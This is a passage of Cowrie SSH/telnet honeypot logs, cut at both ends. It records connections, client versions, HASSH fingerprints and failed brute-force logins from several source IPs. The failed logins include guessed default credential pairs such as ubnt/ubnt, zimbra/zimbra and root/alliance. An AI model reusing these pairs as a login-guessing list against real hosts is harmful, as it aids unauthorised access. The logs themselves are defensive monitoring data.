","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:40:00.680942Z","src_ip":"101.36.124.219","session":"fcbc6e2ab04f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alliance","message":"login attempt [root/alliance] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:40:01.585587Z","src_ip":"101.36.124.219","session":"fcbc6e2ab04f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:40:02.806289Z","src_ip":"101.36.124.219","session":"fcbc6e2ab04f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:40:06.940688Z","src_ip":"8.218.166.49","session":"3d8dc9814bad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:40:15.148904Z","src_ip":"8.218.166.49","session":"3d8dc9814bad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.1","message":"Connection lost after 19.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:40:17.305067Z","src_ip":"8.218.166.49","session":"3d8dc9814bad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":58380,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8715cf0e6a4","protocol":"ssh","message":"New connection: 8.218.166.49:58380 (10.17.0.5:22) [session: a8715cf0e6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:40:22.064747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:40:22.101979Z","src_ip":"8.218.166.49","session":"a8715cf0e6a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":49494,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6bc2c49cc2c","protocol":"ssh","message":"New connection: 8.218.166.49:49494 (10.17.0.5:22) [session: f6bc2c49cc2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:40:29.964752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:40:29.970067Z","src_ip":"8.218.166.49","session":"f6bc2c49cc2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":57824,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3521dbd5ea5","protocol":"ssh","message":"New connection: 8.218.166.49:57824 (10.17.0.5:22) [session: d3521dbd5ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:40:35.996902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:40:36.001204Z","src_ip":"8.218.166.49","session":"d3521dbd5ea5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":38710,"dst_ip":"10.17.0.5","dst_port":22,"session":"9331fe3bdb58","protocol":"ssh","message":"New connection: 8.218.166.49:38710 (10.17.0.5:22) [session: 9331fe3bdb58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:40:54.499705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:40:54.518227Z","src_ip":"8.218.166.49","session":"9331fe3bdb58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:40:58.412390Z","src_ip":"8.218.166.49","session":"9331fe3bdb58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:41:10.568870Z","src_ip":"8.218.166.49","session":"f6bc2c49cc2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:41:12.651175Z","src_ip":"8.218.166.49","session":"9331fe3bdb58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.4","message":"Connection lost after 22.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:41:16.916781Z","src_ip":"8.218.166.49","session":"9331fe3bdb58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:41:19.301602Z","src_ip":"8.218.166.49","session":"f6bc2c49cc2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":42880,"dst_ip":"159.203.135.109","dst_port":22,"session":"63c60ca107e9","protocol":"ssh","message":"New connection: 101.36.124.219:42880 (159.203.135.109:22) [session: 63c60ca107e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:41:19.859293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:41:19.864987Z","src_ip":"101.36.124.219","session":"63c60ca107e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:41:20.082029Z","src_ip":"101.36.124.219","session":"63c60ca107e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.133.122.173","src_port":48536,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9cd7a4d0407","protocol":"telnet","message":"New connection: 103.133.122.173:48536 (10.17.0.5:23) [session: f9cd7a4d0407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:41:20.753062Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"chandra","message":"login attempt [root/chandra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:41:20.981011Z","src_ip":"101.36.124.219","session":"63c60ca107e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:41:22.200459Z","src_ip":"101.36.124.219","session":"63c60ca107e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"54.0","message":"Connection lost after 54.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:41:24.003380Z","src_ip":"8.218.166.49","session":"f6bc2c49cc2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.397988080978394,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:41:33.150939Z","src_ip":"103.133.122.173","session":"f9cd7a4d0407","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":47674,"dst_ip":"10.17.0.5","dst_port":22,"session":"9275cc05db0c","protocol":"ssh","message":"New connection: 8.218.166.49:47674 (10.17.0.5:22) [session: 9275cc05db0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:41:53.916266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:41:56.385103Z","src_ip":"8.218.166.49","session":"9275cc05db0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:41:56.390194Z","src_ip":"8.218.166.49","session":"9275cc05db0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:41:58.815396Z","src_ip":"8.218.166.49","session":"9275cc05db0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":50533,"dst_ip":"159.203.135.109","dst_port":22,"session":"c265d04dfae0","protocol":"ssh","message":"New connection: 88.147.30.59:50533 (159.203.135.109:22) [session: c265d04dfae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:42:02.079671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:42:02.085353Z","src_ip":"88.147.30.59","session":"c265d04dfae0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:42:02.204459Z","src_ip":"88.147.30.59","session":"c265d04dfae0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mmj","message":"login attempt [root/mmj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:42:02.708480Z","src_ip":"88.147.30.59","session":"c265d04dfae0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:42:03.854610Z","src_ip":"88.147.30.59","session":"c265d04dfae0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:42:04.070822Z","src_ip":"8.218.166.49","session":"9275cc05db0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":46810,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca5cdd90d947","protocol":"ssh","message":"New connection: 198.23.150.42:46810 (10.17.0.5:22) [session: ca5cdd90d947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:42:08.239603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:42:08.243929Z","src_ip":"198.23.150.42","session":"ca5cdd90d947","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:42:08.262083Z","src_ip":"198.23.150.42","session":"ca5cdd90d947","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"butthead","message":"login attempt [root/butthead] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:42:08.377333Z","src_ip":"198.23.150.42","session":"ca5cdd90d947","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:42:09.398218Z","src_ip":"198.23.150.42","session":"ca5cdd90d947","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:42:22.081239Z","src_ip":"8.218.166.49","session":"a8715cf0e6a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:42:36.001521Z","src_ip":"8.218.166.49","session":"d3521dbd5ea5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":50688,"dst_ip":"159.203.135.109","dst_port":22,"session":"a131273393d5","protocol":"ssh","message":"New connection: 101.36.124.219:50688 (159.203.135.109:22) [session: a131273393d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:42:41.856611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:42:41.861084Z","src_ip":"101.36.124.219","session":"a131273393d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 